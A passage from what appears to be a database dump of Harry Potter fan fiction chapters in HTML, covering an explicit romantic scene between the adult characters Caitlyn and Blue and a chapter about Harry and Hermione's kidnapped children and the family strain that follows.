water goblets had been filled. Tables were sporadically spread through the restaurant, the only light came from candles at each booth and two large chandeliers that were hanging from the ceiling. &#8220;Romantic.&#8221; </p>\n\n<p>&#8220;Very.&#8221; Blue replied. He opened the menu and tried to read it, once again it was impossible. &#8220;Caty, can you order for both of us?&#8221;</p>\n\n<p>&#8220;Sure.&#8221; She hid her smile and looked through the menu quickly, picking a few things that they would both like and could share. &#8220;Do you want some wine as well?&#8221;</p>\n\n<p>&#8220;That sounds fine.&#8221; He sat back in his chair and sipped his water. A waiter came by and Caitlyn placed their order.</p>\n\n<p>&#8220;He was hitting on you.&#8221; Blue said as the young man walked away. </p>\n\n<p>&#8220;No he wasn&#8217;t.&#8221; Caitlyn replied.</p>\n\n<p>&#8220;Of course he was.&#8221; Blue insisted. &#8220;I know it when I see it.&#8221;</p>\n\n<p>&#8220;Oh you do, do you?&#8221; Caitlyn asked, reaching for his hand. She wove their fingers together over the tabletop. &#8220;I&#8217;m not so sure if you know the difference.&#8221;</p>\n\n<p>&#8220;Yes I do!&#8221; he replied indignantly. &#8220;I always flirt with you!&#8221;</p>\n\n<p>&#8220;You do not&#8230; you hit on me&#8230; there&#8217;s a huge difference!&#8221; Caitlyn said.</p>\n\n<p>&#8220;Like what?&#8221; Blue asked as the waiter came back, producing a bottle of Sangria and a hot dish of paella. She was silent as the waiter poured both of them a glass of the wine and left again.</p>\n\n<p>&#8220;Flirting is just fun, innocent banter.&#8221; Caitlyn said as they each took a helping of paella. &#8220;Hitting on someone is more sexual, innuendo and undertones.&#8221;</p>\n\n<p>&#8220;So you&#8217;re saying you don&#8217;t like it when I hit on you?&#8221; Blue pushed his lower lip out.</p>\n\n<p>&#8220;Of course I do.&#8221; Caitlyn replied, grinning devilishly. &#8220;You&#8217;re the only one.&#8221;</p>\n\n<p>&#8220;Always glad to hear that.&#8221; Blue said, moving his foot so that it was rubbing against hers. &#8220;This is great!&#8221; he took a second helping of the paella.</p>\n\n<p>&#8220;Yes it&#8217;s very good.&#8221; Caitlyn agreed. &#8220;But I&#8217;d save room &#8211; we still have the main course coming up.&#8221;</p>\n\n<p>&#8220;Would that be you?&#8221; Blue eyed her low cut dress suggestively.</p>\n\n<p>&#8220;Silly.&#8221; She replied. &#8220;I&#8217;m your dessert!&#8221;</p>\n\n<p>Two bottles of Sangria and a main course later, he was more than ready for his dessert. They charged dinner to their room and left the restaurant, Blue keeping his hand on her waist as they walked across the lobby and up the stairs.</p>\n\n<p>&#8220;Come on!&#8221; he said impatiently as she tried to put the key in the lock. His mouth moved from her shoulder up her neck as he twisted his fingers in her hair.</p>\n\n<p>&#8220;Bluuuuuue&#8230;.&#8221; Caitlyn laughed. &#8220;Stop it!&#8221;</p>\n\n<p>&#8220;What?&#8221; he asked, pulling his most innocent face. She finally worked the key into the lock and opened the door.</p>\n\n<p>&#8220;You know what.&#8221; Caitlyn pulled on his hand so that Blue followed her into the room, kicking the door shut behind him. Pulling her into his arms, he lowered his mouth to hers.</p>\n\n<p>Blue half carried her over to the bed where she pushed away from him and perched herself on the edge. Holding one leg out, she turned her high heeled foot around in a circle and then placed it in his palm. Blue undid the strap and slid the shoe off, running his hands up her smooth leg.</p>\n\n<p>Caitlyn laid back, her hair spreading out around her like a blanket. Blue took her other foot and slowly took the shoe off, tossing it aside. He moved up on the bed, leaning over her and their mouths met again. Caitlyn pushed him back and flipped him over so that she was on top, her long locks falling over them like a curtain.</p>\n\n<p>&#8220;Be right back&#8230;&#8221; she murmured, pulling her mouth from his.</p>\n\n<p>&#8220;Where are you going?&#8221; Blue asked, barely able to raise his head.</p>\n\n<p>&#8220;To change&#8230;&#8221; Caitlyn grabbed a small bag from her larger one and grinned as she disappeared into the bathroom. Blue fell back onto the bed for a moment, then got up and ripped his shirt off along with his trousers. He sat back on the bed in his snitch covered boxers, waiting for his girlfriend to come back out.</p>\n\n<p>&#8220;Are you ready?&#8221; her voice teased from behind the door.</p>\n\n<p>&#8220;Get out here!&#8221; Blue replied. He saw the door inch open and then Caitlyn appeared in the doorway, posing like a model. &#8220;Merlin&#8217;s beard!&#8221; his jaw dropped for the second time that evening as he looked at her. She had put on the tiniest excuse for lingerie that he&#8217;d ever seen. All he was able to comprehend was that it was black, lacy, strapless, and fit her like a glove. Her long hair fell in cascading waves past her waist and moved alluringly as she walked towards him.</p>\n\n<p>&#8220;Do you like what you see?&#8221; She literally purred as she climbed onto the bed and came up to him on all fours. </p>\n\n<p>&#8220;Uh huh.&#8221; Blue was struck dumb as Caitlyn pushed him flat on the bed and immediately began plundering his mouth. His hands came up around her hips and moved up and down freely over her body as his tongue thrust into her mouth.</p>\n\n<p>She let out a soft whimper that wasn&#8217;t missed by him, and it only spurred him on further, his reaction to her appearance quite obvious. Caitlyn pushed her body up and down on him, her lips moving from his mouth to his neck, his shoulder and down over his chest.</p>\n\n<p>&#8220;Caty&#8230;&#8221; Blue&#8217;s voice was almost just a breath as she hooked her fingers on the waistband of his boxers and pulled them down.</p>\n\n<p>&#8220;Someone&#8217;s excited&#8230;&#8221; Caitlyn teased as she dropped the boxers off the edge of the bed and leaned back towards him.</p>\n\n<p>&#8220;God!!!&#8221; Blue arched his back and grasped the sheets tightly in his fists as Caitlyn went down on him. His eyes closed as her fingers and mouth worked wonders. Just when he thought he was going to explode, she began to work her way up his torso, her tongue flicking out against his skin.</p>\n\n<p>&#8220;Mmmm&#8230;.&#8221; Caitlyn purred from within her throat as her mouth fused with Blue&#8217;s. His arms came up and crushed her body on top of his, his fingers threading through her hair. </p>\n\n<p>Their bodies came together that night in a frenzy of passion that neither one knew the other was capable of. It was their roughest yet best lovemaking session yet, and Caitlyn later wondered if it had to do with their separation and how they would be had he not come for a visit.</p>\n\n<p>They awoke the next morning and took a leisurely shower together in the large bathroom, then decided to stay in and order room service for breakfast.</p>\n\n<p>&#8220;What do you want to do?&#8221; Caitlyn asked, stretched out on the bed as Blue played with her hair. &#8220;We don&#8217;t have to head back until this afternoon.&#8221;</p>\n\n<p>&#8220;I could think of a few things.&#8221; Blue said, abandoning her braid. He pulled himself up next to her and covered her mouth with his. &#8220;Like that&#8230;&#8221; he said after he pulled away.</p>\n\n<p>Caitlyn giggled. &#8220;We&#8217;ve been doing this,&#8221; she curled her hand around his neck and brought his mouth back onto hers. &#8220;All morning long.&#8221;</p>\n\n<p>&#8220;You say that like it&#8217;s a bad thing.&#8221; Blue answered, grinning. &#8220;How about checking out and doing some sightseeing on the way back into the city?&#8221;</p>\n\n<p>&#8220;Sure.&#8221; Caitlyn gave him one last kiss and got up, pulling her shirt back down. &#8220;There&#8217;s really not much out this way, but we&#8217;ll take the drive slow.&#8221; </p>\n\n<p>So they did just that, once they&#8217;d paid their night at the villa. Most of the scenery was rather barren, as it was late summer and they hadn&#8217;t had a lot of rain, but they enjoyed the ride immensely and were disappointed when they arrived back in the city.</p>\n\n<p>&#8220;I only have about 15 minutes before I have to leave,&#8221; Blue frowned upon checking his watch. </p>\n\n<p>&#8220;That&#8217;s all?&#8221; Caitlyn asked in surprise, grabbing his arm to see for herself. &#8220;Well bugger&#8230;&#8221;</p>\n\n<p>&#8220;I know.&#8221; He said. They went silently up in the lift to her floor, surprised to see the room empty.</p>\n\n<p>&#8220;Well I did give them the day off,&#8221; Caitlyn said. &#8220;I&#8217;m sure none of them are anywhere near the city.&#8221;</p>\n\n<p>&#8220;Good, that means I get privacy with you,&#8221; he grinned. She smiled back and set her bag down on the floor next to the wall.</p>\n\n<p>&#8220;I can&#8217;t believe I&#8217;m not going to see you for another three days now.&#8221; Caitlyn pouted. </p>\n\n<p>&#8220;At least it&#8217;s not another week,&#8221; Blue pointed out.</p>\n\n<p>&#8220;True,&#8221; she sighed, and then looked up at him. &#8220;Come here.&#8221; He went willingly into her arms. &#8220;I&#8217;ll miss you a lot.&#8221;</p>\n\n<p>&#8220;Me too,&#8221; he spoke into her hair. </p>\n\n<p>&#8220;I&#8217;m so glad you did this though,&#8221; Caitlyn pulled back and grinned. &#8220;I owe you one don&#8217;t I?&#8221;</p>\n\n<p>&#8220;Yes, you do.&#8221; Blue grinned back. &#8220;I&#8217;ll expect payment in full when you get back to <st1:country-region><st1:place>England</st1:place></st1:country-region>.&#8221;</p>\n\n<p>&#8220;All right, all right.&#8221; Caitlyn laughed. &#8220;I&#8217;ll start right now though.&#8221;</p>\n\n<p>&#8220;I won&#8217;t stop you,&#8221; he replied before she pressed her mouth against his. His hands went down to her waist as she wound her arms around his neck. They stood and kissed for a few minutes before Blue finally pulled away.</p>\n\n<p>&#8220;I have to go,&#8221; he said. They kissed quickly once more. Blue dug through his bag and produced a Quidditch glove. &#8220;It should be activated any minute now,&#8221; he said, setting it on the edge of the bed. As if on cue, it lit up slightly.</p>\n\n<p>&#8220;I love you,&#8221; Caitlyn said, hugging him once more. </p>\n\n<p>&#8220;I love you too,&#8221; Blue answered. &#8220;I&#8217;ll see you in a few days, all right?&#8221;</p>\n\n<p>&#8220;All right,&#8221; she replied. He grabbed onto the glove and disappeared. Caitlyn sighed, flopping onto the bed. He was right though. It was only a few more days.</p>\n\n<p>* The painting Caitlyn bought in this story goes along with the one that she really did buy for her parents in Within the Shadows of Hatred&#8230; although in the real story, she and her research team went out of town on a lead for their amulet, and she saw the roadside stand.</p>\n\n<p>A/N: You see, I haven&#8217;t forgotten about this story :D Actually, I got a few later chapters of it done, so I will be updating it soon, I really really promise! Please leave me a review so I know what you guys think about this!</p> '),
	(84, 6, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="ProgId" content="Word.Document">\n\n<meta name="Generator" content="Microsoft Word 10">\n\n<meta name="Originator" content="Microsoft Word 10">\n\n<link rel="File-List" href="wsh6_files/filelist.xml">\n\n<title>Chapter 6</title>\n\n<xml> Heaven Normal Heaven 2 35 2003-09-02T05:09:00Z 2003-09-03T07:09:00Z 1 2762 15745 131 36 18471 10.2625 </xml><xml> Clean Clean MicrosoftInternetExplorer4 </xml>\n\n<style>\n\n</style>\n\n<style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman";} </style>\n\n<xml>\n\n</xml><xml>\n\n</xml>\n\n\n\n<p>Chapter 6</p>\n\n<p>A/N: Thanks everyone who reviewed. It&#8217;s because of you guys that I keep writing *vbg* Anyways, more angsty stuff coming up, but at least I updated sooner this time :D</p>\n\n<p>And for those of you (at portkey.org and at my group) who were confused about the 5<sup>th</sup> chapter, you&#8217;d see in the authors note at the top that it was an interlude, a break from the regular story&#8230;. That&#8217;s why it had nothing to do with the current situation in chapter 4.</p>\n\n<p>Many, many, many thanks to both Vanillapuf and LilyCat for helping me out during my stucky parts in this chapter.</p>\n\n<p>On with the show!</p>\n\n<p>Corinne Potter shifted in her sleep, trying to pull her blankets around her. It was never this cold in her room, her mother and father always made sure that she and her brother slept comfortably. Her pillow was lumpy too, not soft like normal. She reached out and gasped when her hand touched not the smooth wood of her nightstand, but hard, jagged stone.</p>\n\n<p>She sat up quickly, looking around frantically. &#8220;Carl!&#8221; she pushed at her brother. &#8220;Carl wake up!&#8221;</p>\n\n<p>&#8220;What?&#8221; Carl opened his eyes a bit. </p>\n\n<p>Corinne sat back and looked him, tears brimming in her large green orbs. &#8220;I want Mummy and Daddy.&#8221; She whimpered.</p>\n\n<p>Carl looked around the tiny room they were in; old stones with moss growing over them covered three walls, while bars were across the fourth. He got up and grasped them within his hands.&nbsp; He pulled with all his five year old strength, and as old as the bars were, they didn&#8217;t give way. </p>\n\n<p>&#8220;Where are we?&#8221; Corinne asked, large tears making their way down her face. Carl hugged his sister close to him.</p>\n\n<p>&#8220;I don&#8217;t know.&#8221; He answered. Carl rubbed at his eyes with one hand while keeping hold of his sister with the other. He didn&#8217;t want to start crying, he missed his parents too but he knew he had to stay strong for Corinne&#8217;s sake.</p>\n\n<p>The two children sat huddled together in the rear of the room, for how long, neither of them knew. It was cold and damp down there, and there was nothing to wrap themselves up in. </p>\n\n<p>&#8220;I&#8217;m hungry,&#8221; Corinne finally broke the silence as she hugged her pitifully growling stomach. </p>\n\n<p>&#8220;I am too,&#8221; Carl answered. Both of them turned around in surprise as they heard a noise at the front of the cell. The same blond thin man who had taken them from the clearing was standing there with a dirty plate in his hand.</p>\n\n<p>Draco had to suppress a smirk as he heard the girl whimper as he advanced on them. The boy glared up at him as he set the plate down. He hadn&#8217;t wanted to give them anything but he <i>did </i>need them alive for the resurrection. There was some stale bread and cheese in the cabinet (most likely from Crabbe and Goyle) and he&#8217;d thrown it on an old plate and taken it down to the old dungeons.</p>\n\n<p>&#8220;Why are we here?&#8221; The boy&#8217;s voice cut through the thick air and nearly caused him to drop the plate.</p>\n\n<p>Draco stood back up and glared down at them, malice glittering through his grey eyes. &#8220;Never you mind, boy. You&#8217;ll find out soon enough.&#8221;</p>\n\n<p>The boy set his jaw and Draco thought for a moment that Potter (with brown hair) was looking straight back at him. &#8220;I want to know!&#8221; he hollered. When Draco offered nothing, Carl rushed forward and kicked him in the shin.</p>\n\n<p>&#8220;OW!&#8221; Draco cried out, not expecting that. He bared his teeth and the girl let out a terrified cry as her brother shielded her with his body. &#8220;You little brat&#8230; see if I bloody bring you anything else&#8230;&#8221; he limped out of the cell, slamming the iron bars shut behind him and locking them again.</p>\n\n<p>&#8220;That was really brave, Carl.&#8221; Corinne said in a small voice. </p>\n\n<p>&#8220;I don&#8217;t like him.&#8221; Carl replied, still glaring at the bars.</p>\n\n<p>&#8220;He gave us food,&#8221; Corinne replied, picking up a piece of bread. She was about to put it in her mouth when her eyes widened. &#8220;What if he put a curse on it?&#8221;</p>\n\n<p>Carl stared down at the food, and then picked up one of the slices of cheese. He put the end gingerly in his mouth and bit off a tiny piece, then chewed and swallowed it down. &#8220;I think its okay,&#8221; he said after several minutes during which nothing happened.</p>\n\n<p>Corinne nodded and bit into her bread, stale as it was it was still food. They slowly ate what was on the plate, dividing it up equally between the two of them. Carl wanted her to have his last piece of cheese but she knew he was as hungry as her.</p>\n\n<p>&#8220;I want to go home,&#8221; Corinne said some time later as dark shadows began creeping over the floor. Her lower lip began to tremble dangerously. &#8220;I want Mummy and Daddy!&#8221;</p>\n\n<p>&#8220;Daddy will come for us.&#8221; Carl said, his voice more confident than he actually felt. &#8220;I know he will.&#8221;</p>\n\n<p>Corinne nodded, too tired and upset to argue. The two children sank into each other as the final rays of sunlight disappeared and they were left in darkness.</p>\n\n<p>***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p>Harry Potter sat at his desk, his shirt wrinkled and half unbuttoned, his tie hanging limply around his neck. His eyes were red and weary, not to mention swollen from lack of sleep and sheer utter frustration at the turn his life had taken in the past 24 hours. He choked back a sob at the thought that he might never see his two youngest children again, and pulled as hard as he could on his messy raven hair.</p>\n\n<p>&#8220;I&#8217;ve got to do something,&#8221; he muttered to himself. Digging into his drawer for some parchment, he began writing furiously to various people, each letter asking the same questions. </p>\n\n<p>Ron watched Harry silently from the doorway, his heart aching for both of his best friends. On one hand, he wanted to throttle Harry for his behaviour last night towards Hermione, yet on the other, he understood Harry&#8217;s anger. He had been through so much in his life, but it was never enough. </p>\n\n<p>&#8220;Harry,&#8221; he finally said softly, not wanting to surprise him. Harry&#8217;s head shot up regardless as he jumped.</p>\n\n<p>&#8220;Ron,&#8221; he said, relieved. &#8220;Have you&#8230; have you heard anything?&#8221;</p>\n\n<p>Ron swallowed hard and shook his head. &#8220;No,&#8221; he answered hoarsely.</p>\n\n<p>Harry nodded as if he expected that answer. &#8220;I&#8217;m just&#8230; writing to some people&#8230; they might be able to find my children,&#8221; he said. </p>\n\n<p>&#8220;Harry,&#8221; Ron began. &#8220;You need to go home and rest.&#8221;</p>\n\n<p>&#8220;No.&#8221; Harry said flatly. </p>\n\n<p>&#8220;Harry, Hermione needs you, and you won&#8217;t be able to do anything unless you get some rest.&#8221; Ron argued. </p>\n\n<p>&#8220;I&#8217;m NOT going back there Ron!&#8221; Harry shouted.</p>\n\n<p>&#8220;Why are you blaming her?&#8221; Ron shouted back. &#8220;You know this isn&#8217;t Hermione&#8217;s fault!&#8221; He lowered his voice and closed Harry&#8217;s office door. &#8220;I don&#8217;t know how you could say what you said to her last night.&#8221;</p>\n\n<p>&#8220;It&#8217;s none of your business Ron!&#8221; Harry snarled back, his hands clenching into fists. Ron crossed his arms over his chest and stared at Harry coldly.</p>\n\n<p>&#8220;I don&#8217;t know how you have the bloody gall to say that,&#8221; Ron said angrily. &#8220;I love your children like they&#8217;re <i>my own</i>. Lavender and I have <i>always</i> felt that way.&#8221; </p>\n\n<p>Harry opened his mouth as if he was going to argue and then shut it again. &#8220;You&#8217;re right,&#8221; he sighed, looking down at his desk. &#8220;I&#8217;m sorry Ron.&#8221;</p>\n\n<p>&#8220;I&#8217;m not the one you should be apologizing to.&#8221; Ron replied. &#8220;Harry, <i>she needs you</i> more than anyone right now.&#8221;</p>\n\n<p>&#8220;I can&#8217;t go back.&#8221; Harry muttered. &#8220;Not until I know something&#8230;&#8221;</p>\n\n<p>Ron sat heavily in the chair across from his friend. &#8220;Harry it could take days before we find out anything.&#8221; </p>\n\n<p>&#8220;I know,&#8221; Harry said quietly and in that moment Ron thought he aged 20 years. &#8220;But I can&#8217;t stop. I can&#8217;t stop.&#8221;</p>\n\n<p>***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p>Lavender couldn&#8217;t believe the amount of people currently standing in Harry and Hermione&#8217;s yard.&nbsp; Reporters, dozens, perhaps even hundreds of them were milling around, most with Quick Quotes quills already sketching out beginnings of stories. </p>\n\n<p>&#8220;They&#8217;re so bold,&#8221; she said to Hermione, who was sitting on the sofa with her arms wrapped around herself as if she was freezing. &#8220;Ruddy bastards, knocking on your door and trying to come in through the fire&#8230; I have a mind to curse each and every one of them.&#8221;</p>\n\n<p>&#8220;I don&#8217;t want them in here.&#8221; Hermione replied, her voice gone hoarse from crying.</p>\n\n<p>&#8220;Don&#8217;t worry; I&#8217;ll make sure they stay outside.&#8221; Lavender said as she pulled the curtain across the window and sat down next to her friend. </p>\n\n<p>Hermione nodded numbly as they sat in silence for a little while. &#8220;I can&#8217;t believe he said that&#8230;&#8221; she spoke up, making Lavender jump.</p>\n\n<p>&#8220;What?&#8221; she asked, confused.</p>\n\n<p>&#8220;Harry,&#8221; Hermione replied, fresh tears springing to her eyes. &#8220;How could he blame this on me?&#8221;</p>\n\n<p>&#8220;Ohhh,&#8221; Lavender hugged Hermione tightly. &#8220;I&#8217;m sure he didn&#8217;t mean it, we were all so upset and you know sometimes people say things they don&#8217;t mean when they&#8217;re angry.&#8221;</p>\n\n<p>&#8220;I guess,&#8221; Hermione didn&#8217;t look convinced. &#8220;But he never even came back; he hasn&#8217;t even tried to owl me&#8230;&#8221;</p>\n\n<p>&#8220;He&#8217;s probably with Ron right now, doing what he can to find them.&#8221; Lavender said soothingly. &#8220;You know that he will, and everything will be fine.&#8221; She hoped her voice sounded more confident than she actually felt. </p>\n\n<p>&#8220;I just want them all to be here.&#8221; Hermione sniffled. &#8220;I need my children&#8230; and my husband.&#8221;</p>\n\n<p>&#8220;I know,&#8221; Lavender replied, hugging her tighter. A harried knocking came from the front door and she stood up, her blue eyes darkened in anger.</p>\n\n<p>&#8220;Not another one!&#8221; Hermione leaned back on the sofa with her hand over her eyes.</p>\n\n<p>&#8220;I&#8217;ll get rid of them this time, Hermione, just wait there.&#8221; Lavender strode out to the hallway, intent on setting this reporter in their place. &#8220;I have ALREADY told all of you at least FIVE times to leave, you&#8217;re not going to get any information!&#8221; she shouted as she opened the door.</p>\n\n<p>Caitlyn stood with her mouth open, and Lavender felt ashamed. &#8220;Oh sweetie, I&#8217;m sorry I thought you were another one of those bleeding reporters.&#8221;</p>\n\n<p>&#8220;It&#8217;s okay&#8230;&#8221; she said, getting over her shock. &#8220;Have you heard anything?&#8221; Her long hair was loose from its braid and it hung into her face, which was pale from worry.</p>\n\n<p>&#8220;No,&#8221; Lavender said sadly as she hugged the younger girl. </p>\n\n<p>&#8220;How&#8217;s my mum?&#8221; Caitlyn wiped at her eyes.</p>\n\n<p>&#8220;She&#8217;s not doing very well.&#8221; Caitlyn nodded as if she had been expecting that. &#8220;Listen, let me make some tea, and you go on in there and sit with her, all right?&#8221; Lavender said.</p>\n\n<p>Caitlyn nodded again and went down the hallway, into the living room. Her mother was curled up on a corner of the sofa, her hand over her eyes as she muttered to herself.</p>\n\n<p>&#8220;Did you get rid of them, Lavender?&#8221; Hermione asked.</p>\n\n<p>&#8220;It&#8217;s me Mum.&#8221; Caitlyn answered.</p>\n\n<p>Hermione&#8217;s eyes shot open. &#8220;Caty&#8230;&#8221; she held her arms open and Caitlyn flew forward into them. &#8220;I&#8217;m so glad you&#8217;re here.&#8221;</p>\n\n<p>&#8220;I&#8217;m sorry I wasn&#8217;t here earlier, I had to be at work, but I got off early and I told them I was taking time off to be here with you.&#8221; Caitlyn&#8217;s voice was muffled.</p>\n\n<p>&#8220;It&#8217;s okay, I&#8217;m just glad you&#8217;re here now.&#8221; Hermione hugged her daughter tightly. </p>\n\n<p>Lavender came in with tea for all three of them.</p>\n\n<p>&#8220;So Caty, where is that son of mine today?&#8221; Lavender asked, trying to keep the conversation away from the topics of Harry and the kidnapping as they all sipped the hot liquid.</p>\n\n<p>&#8220;He&#8217;s at a Quidditch meeting,&#8221; Caitlyn replied. &#8220;He said he wanted to take me to dinner tonight, to get my mind off everything, but I&#8217;ll stay here with you if you want, Mum.&#8221;</p>\n\n<p>&#8220;No, no love you go with Blue.&#8221; Hermione said. &#8220;There&#8217;s no reason for you to sit around here and mope.&#8221;</p>\n\n<p>&#8220;Are you sure?&#8221; Caitlyn asked. &#8220;I know he won&#8217;t mind if I cancel.&#8221;</p>\n\n<p>&#8220;I&#8217;ll stay here with your Mum.&#8221; Lavender said. &#8220;She&#8217;s absolutely right, it&#8217;ll do you no good to just sit around here.&#8221;</p>\n\n<p>&#8220;Well, I guess&#8230; if you&#8217;re really sure you don&#8217;t need me&#8230;&#8221; Caitlyn looked slightly put out and Hermione reached over and put her arm around her daughter. </p>\n\n<p>&#8220;I&#8217;ll always need you, love. I just don&#8217;t want you wasting your time doing nothing.&#8221; Hermione said gently. &#8220;And we promise to let you know the moment we find anything out, all right?&#8221;</p>\n\n<p>&#8220;All right,&#8221; Caitlyn agreed, obviously placated by her mother&#8217;s words. She hugged Hermione and then Lavender, then left out the back door, not wanting to be haggled by the media that were still camping outside the house.</p>\n\n<p>She still had second thoughts an hour later as she used a spell to pull her long hair up into a complicated twist. Caitlyn felt guilty letting Blue take her out when her brother and sister were most likely in a life threatening situation. </p>\n\n<p>&#8220;Hey,&#8221; a soft voice in her ear made her jump. Blue wound his arms around her waist and kissed her bare shoulder. &#8220;Are you all right?&#8221;</p>\n\n<p>&#8220;I guess so,&#8221; Caitlyn sighed. &#8220;I just feel like I should be doing something to help&#8230; help my parents, help my brother and sister&#8230;&#8221;</p>\n\n<p>&#8220;Caty, if anyone needs your help they&#8217;ll tell you,&#8221; Blue said. &#8220;And believe me, no one, outside your family at least, wants to know where they are more than I do&#8230;&#8221;</p>\n\n<p>Caitlyn turned to face him with tears in her eyes. &#8220;I&#8217;m just so scared&#8230;&#8221; she began to cry as he pulled her into his arms. </p>\n\n<p>&#8220;Shhhh&#8230;&#8221; he rubbed her back as he tried to soothe her. &#8220;Don&#8217;t feel guilty Caty, you have no reason to.&#8221;</p>\n\n<p>&#8220;I know,&#8221; she wiped at her eyes. &#8220;I just want to see them again, and know if they&#8217;re all right.&#8221;</p>\n\n<p>&#8220;Me too,&#8221; Blue answered. He held her close again for a few more minutes. &#8220;Look, we don&#8217;t <i>have</i> to go out tonight&#8230;&#8221;</p>\n\n<p>&#8220;No&#8230; let&#8217;s go.&#8221; Caitlyn replied surprisingly. &#8220;Let&#8217;s go&#8230; I know if there&#8217;s anyone that can keep my mind off this for a little while it&#8217;s you.&#8221;</p>\n\n<p>&#8220;Okay,&#8221; he smiled down and kissed her quickly. &#8220;Let me go shower up.&#8221;</p>\n\n<p>&#8220;Okay,&#8221; she said and he kissed her again. </p>\n\n<p>***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p>&#8220;That was really, really nice, Blue.&#8221; Caitlyn said as they climbed the stairs to their flat. He had taken her into Muggle London for dinner and then to a play that had just opened that evening.</p>\n\n<p>&#8220;Was it?&#8221; he asked as they came to the door. &#8220;Good.&#8221; He squeezed her hand lightly in his.</p>\n\n<p>&#8220;It was really what I needed,&#8221; Caitlyn leaned up against him. &#8220;Thank you.&#8221;</p>\n\n<p>&#8220;Anytime.&#8221; Blue leaned down and pressed his lips to hers. &#8220;I&#8217;d do anything for you.&#8221; </p>\n\n<p>&#8220;I know,&#8221; she answered quietly. &#8220;I love you.&#8221;&nbsp; She raised herself up and kissed him again, letting her lips stay connected to his longer. He grinned down at her as they parted, and caressed her cheek with his thumb.</p>\n\n<p>&#8220;Let&#8217;s go inside&#8230; and maybe go to bed?&#8221; His voice was slightly husky in her ear. They went inside and Blue locked the door behind them, then turned to Caitlyn.</p>\n\n<p>&#8220;Bed&#8230; who needs a bed?&#8221;</p>\n\n<p>&#8220;Blue&#8230;&#8221; she leaned back as his mouth came in contact with her neck. Her breathing grew heavy as all thoughts flew out of her head except for the ones of what she wanted her boyfriend to do to her at the moment. </p>\n\n<p>&#8220;Ahem&#8230;&#8221; a voice made them both jump apart and Caitlyn screamed. </p>\n\n<p>&#8220;Dad!!!&#8221; she shrieked as her father entered the hallway. &#8220;What the bloody hell are you doing here?&#8221;</p>\n\n<p>&#8220;I need a place to stay.&#8221; Harry replied.</p>\n\n<p>Blue, whose face was as red as his hair, mumbled something and disappeared down the hallway. Caitlyn faced her father.</p>\n\n<p>&#8220;Go home then.&#8221; She replied.</p>\n\n<p>&#8220;Don&#8217;t talk to me like that.&#8221; Harry snapped.</p>\n\n<p>&#8220;Well you&#8217;re being bloody stupid!&#8221; Caitlyn said bravely. &#8220;You should suck it up, apologise for what you said to Mum, and go home!&#8221;</p>\n\n<p>&#8220;That is NONE of your concern!&#8221; Harry&#8217;s voice grew loud in his anger.</p>\n\n<p>&#8220;It&#8217;s not?&#8221; Caitlyn was disbelieving. &#8220;You didn&#8217;t see how Mum was after you said those things to her. You didn&#8217;t see her pass out and have to be carried into the living room. You didn&#8217;t have to see her when she woke up and her whole bloody world has fallen apart!&#8221; By this time tears were streaming down her face. </p>\n\n<p>Harry looked stricken at her outburst. His jaw opened and shut as his daughter fell back against the wall and began to sob openly. Stepping forward, Harry gathered her into his arms and hugged her tightly. &#8220;I&#8217;m sorry, Caty&#8230;&#8221; his voice was choked as he tried hard to contain his own tears.</p>\n\n<p>Caitlyn couldn&#8217;t resist as she hugged her father back. Blue stood back and watched, knowing that he shouldn&#8217;t intrude on their moment. </p>\n\n<p>&#8220;Why did you say those things?&#8221; Caitlyn asked in a small voice a little while later. </p>\n\n<p>Harry let out a deep breath. &#8220;I don&#8217;t know.&#8221; He finally answered. Caitlyn pulled back and gave him a look that was just like the ones Hermione had given he and Ron back at Hogwarts when they hadn&#8217;t done their homework.</p>\n\n<p>&#8220;That&#8217;s not a good enough excuse.&#8221; She said bluntly.</p>\n\n<p>&#8220;I know.&#8221;&nbsp; Harry said. They went into the living room and sat down on the sofa. &#8220;I was angry&#8230; I&#8217;m still angry. I needed someone to blame.&#8221;</p>\n\n<p>&#8220;But you shouldn&#8217;t have done that.&#8221; Caitlyn replied. &#8220;You know as well as I do that Mum wasn&#8217;t responsible for any of this.&#8221;</p>\n\n<p>&#8220;I know that.&#8221; Harry said wearily, running his hands through his already wild hair. It scared Caitlyn to see how aged her father had become within a span of a day. </p>\n\n<p>&#8220;Will you go to apologise?&#8221; she asked quietly.</p>\n\n<p>&#8220;I&#8217;ll try.&#8221; Harry said. </p>\n\n<p>After Caitlyn saw that her father was situated in the guest room, she went down the hall to the bedroom she shared with Blue.</p>\n\n<p>&#8220;Hey,&#8221; she said softly as she closed the door behind her.</p>\n\n<p>&#8220;Everything okay?&#8221; he asked.</p>\n\n<p>&#8220;Yeah&#8230; I think it will be soon.&#8221; Caitlyn said as he got up from the bed and hugged her. &#8220;Listen&#8230; we have a bit of a problem though.&#8221;</p>\n\n<p>&#8220;What?&#8221; Blue asked, his nose buried in her hair.</p>\n\n<p>&#8220;Well&#8230; my dad&#8230; you know&#8230; he doesn&#8217;t know that you live here.&#8221; Caitlyn said. &#8220;And I don&#8217;t think this is the best time to spring that on him.&#8221;</p>\n\n<p>Blue&#8217;s jaw dropped for a split second, then he saw the look in her eyes. &#8220;Oh&#8230; it&#8217;s all right.&#8221; </p>\n\n<p>&#8220;Really?&#8221; Caitlyn asked. &#8220;You understand?&#8221;</p>\n\n<p>&#8220;It&#8217;s not going to be easy being separated from you, but I&#8217;ll manage.&#8221; Blue forced a grin on his face.</p>\n\n<p>&#8220;You&#8217;re the best, you know that?&#8221; Caitlyn said as new tears sprang to her eyes. </p>\n\n<p>&#8220;I try.&#8221; He said, giving her a quick kiss. &#8220;That will have to last me awhile, won&#8217;t it?&#8221;</p>\n\n<p>&#8220;I guess just until this all blows 